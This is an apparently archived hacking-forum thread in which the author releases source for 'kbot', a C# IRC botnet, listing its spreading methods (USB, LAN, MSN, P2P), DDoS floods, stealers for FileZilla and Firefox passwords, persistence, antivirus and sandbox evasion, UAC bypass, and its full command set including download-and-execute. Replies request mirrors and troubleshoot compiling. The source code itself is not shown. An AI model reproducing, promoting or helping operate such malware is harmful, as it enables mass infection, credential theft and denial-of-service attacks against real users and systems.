[t0fx]

1 year after kbot v1, here's the last version of my bot, there won't be any new release. Feel free to mod it, just give credits.

//
kbot private C# bot by t0fx
Credits to Darksel for FF stealer
//

//
How to config ?
//

Open myApp.csproj then go in Program.cs
Modify the source with your settings
Compile
Use smart assembly to protect your exe from disassembling

//
Features :
//

Nickname :
first execution : [NEW|6969]
after : [USA|Win7|t0fx-Computer|6969]

Channel :
Bot joins the channel you want and a second one depending on its country : ##FRA, ##USA...
so you can ddos or sell installs from only one country.
Bot joins ##seeders## if a compatible torrent client is detected on the computer.

Bot spreading :
auto rar / zip infection on first installation (only xp)
auto USB spread : with USB plug event listener and new FUD autorun.inf
auto LAN spread
MSN spread (hook)
P2P : you choose the filename you want to spread
uTorrent / BitTorrent / Azureus (Vuze) seeder

Bot DDOS :
SYN / HTTP / UDP

Stealer :
cdkeys : 148 cdkeys
filezilla stealer (to get some ftp accounts)
firefox stealer

Bot security :
auto start with windows and once installed imposible to delete the exe
Process run hidden (hook)
Hidden and undeletable folder
login to the bot with password
Optional auth host
Optional channel password
antis : threatexpert, windows defender, anubis, sandboxie and vmware

Other :
download / execute
works with xp / vista / seven / 2000
bypass UAC
100% undetected

//
Commands
//

!login pass
!seed url/yourtorrent.torrent
!visit URL (open url in browser)
!visilent URL (visit silently, invisible on the computer)
!dl URL/gay.exe (download execute file from url)
!update URL/gay.exe
!kill (uninstall the bot)
!die (kick the bots)
!keyz (get cdkeyz)
!fz (get filezilla user / pass)
!ff (get firefox strored passwords)
!p2p application.exe (add application.exe to common and detected P2P clients)
!msn message (send a message to online contacts)
!syn host port threads sockets
!stopsyn
!httpflood host intervals threads
!httpfloodstop
!udpfloodstart host intervals threads
!udpfloodstop

If you are leet or uber and can't use my download link, then send me a pm.
If I see someone posting another link I'll report and -rep.

Code

http://bit.ly [WARNING: potentially infected]/aEYCOm

mirror :

http://www.malwares-in.net/forum/showthr...p?tid=1296

[ASMAteMe]

Hey t0fx, anyway you could PM me a link that is NOT sharecash? Id appreciate it!

[xhtmlphp™]

Nice, shame its a share cash link though, this will probably get moved to referrals :/

[t0fx]

yes theres a share-cash link but theres' also a mirror..
I had to post it because there are a lot of backdoored version around here...

[laptopguy]

Thank you very much t0fx - you are always doing things for this community mate.

[killerdoob420]

lucky i have a malwares-in account

[Elios]

Hi Mate,
for some reason I cannot download the source from the link you gave.
Could you please load it somewhere else and pm it to me.
Thanks a lot

[Da Loser]

Use this mirror in our site. http://www.malwares-in.net/forum/showthr...p?tid=1296

[clydedoris]

okay, nice one, big help becoz i am really studying C# extreme programming..thanks!!

[UT-ReBo]

o couldent get this bot to connect to my irc anyone got teamviewer and think they could help pm me

thanks

[FluR0]

I'd download but i can't code in C#, But i know it would be awesome, Thanks for sharing it tofx.

YAY FOR BUMBING AN OLD THREAD YAYAYYA LETS ALL DO IT

[Xenon]

I still can't believe this is FUD on build. I added a botkiller function and am using it on my own IRC server.

[simo9445]

18:07 02-01-2011 Malwares-in.net is down..

[t0fx]

Thanks for the post.

Didn't have much luck compiling it in Visual C# 2005 (about 16 errors), gonna try it with Visual Studio 2010 next.

copy / paste errors here I'll help you to fix it.

[t0fx]

***Update: I've installed Visual Studio 2010 on a fresh XP VMware image. When opening the project, it offers to convert the reference of Dotnet 2 to Dotnet 4. Done so, and the bot compiles without a problem (hurray!). Connects as well and able to !login.

However, when giving the !dl <url> command, an error occurs and the bot closes down. Here's a screenshot of the JIT-debugger of said error, I hope it will contribute to any future versions of this bot, as I really like the functions it provides.

The problem comes from the temp path, maybe it's because of the vmware.